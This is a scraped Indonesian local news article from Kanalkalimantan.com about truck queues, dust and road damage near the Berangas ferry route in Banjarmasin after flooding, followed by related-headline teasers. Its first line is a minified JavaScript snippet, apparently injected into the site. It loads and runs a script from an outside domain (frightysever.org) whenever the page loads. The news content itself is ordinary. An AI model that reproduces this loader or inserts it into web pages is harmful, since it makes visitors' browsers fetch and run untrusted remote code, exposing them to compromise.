(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN– Surutnya debit air usai banjir masih meninggalkan keluhan warga Kota Banjarmasin. Salah satunya warga kawasan Kayu Tangi Ujung, Banjarmasin Utara. Biangnya, adalah kemacetan dan debu akibat antrean truk.
Hingga saat ini, akses Provinsi Kalimantan Selatan menuju Kalimantan Tengah (Kalteng) melalui jalur Sungai Tabuk masih belum bisa dilalui. Sehingga jalur fery penyebrangan Berangas menjadi akses satu-satunya yang bisa dilewati, terutama untuk kendaraan roda 6 lebih.
Dari pantauan kanalkalimantan.com, panjangnya antrean truk yang ingin menggunakan jasa penyeberangan tersebut, menyebabkan kemacetan cukup panjang. Apalagi truk yang melintas di kawasan tersebut juga meninggalkan jejak debu yang membuat warga sekitar terganggu.
Halimah (38), salat satu warga Kayu Tangi Ujung mengatakan, panjangnya antrean truk ini cukup mengganggu bagi warga sekitar.
“Ya saya kan buka usaha di sini, terlebih lagi usaha saya rumah makan. Bagaimana ada pelanggan yang mau makan ke tempat saya kondisinya berdebu seperti ini,” ujarnya kepada Kanalkalimantan.com, Sabtu (30/1/2021) siang.
Bukan hanya warga atau pedagang di daerah tersebut yang merasakan dampaknya, tetapi juga para pengguna jalan lain yang melintas.
Andre (29), salah satu pengendara yang melintas di kawasan tersebut, juga mengeluhkan hal yang sama. “Kalau seperti ini sih, tambah tidak enak di kita. Karena sudah macet, kena debu, ditambah panas lagi harinya. Kalau panas harinya jalanan berdebu, kalau hujan ya berlumpur jalannya, bikin susah saja,” keluhnya.
Hal serupa juga terjadi di ruas jalan Transkalimantan, Handil Bakti, Kabupaten Barito Kuala. Yang dimana, jalur ini merupakan sambungan dari jalur Kayu Tangi Ujung, untuk rute Kalsel ke Kalteng setelah melewati fery penyeberangan.
Dianto (41), salah satu warga desa Berangas yang sedang melintas juga menambahkan, bekas jalan yang dilewati oleh truk tidak hanya meninggalkan jejak debu saja, tetapi juga membuat beberapa badan jalan menjadi rusak, seperti berlubang.
“Ya kita kan hari-hari melewati jalan ini, pasti tidak enaklah lah kalau jalannya seperti ini, apa lagi kalau habis hari hujan, jalannya berlumpur seperti bubur,” ucapnya.
Menurut Dianto dalam hal ini, harusnya pemerintah atau pun dari pihak penyedia jasa fery penyeberangannya bisa mengatasi. “Ya kan setidaknya ada usaha mengatasi kondisi ini, jadi orang-orang yang lewat menggunakan jalan ini, tidak kesulitan juga,” pungkasnya. (Kanalkalimantan/Tius)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.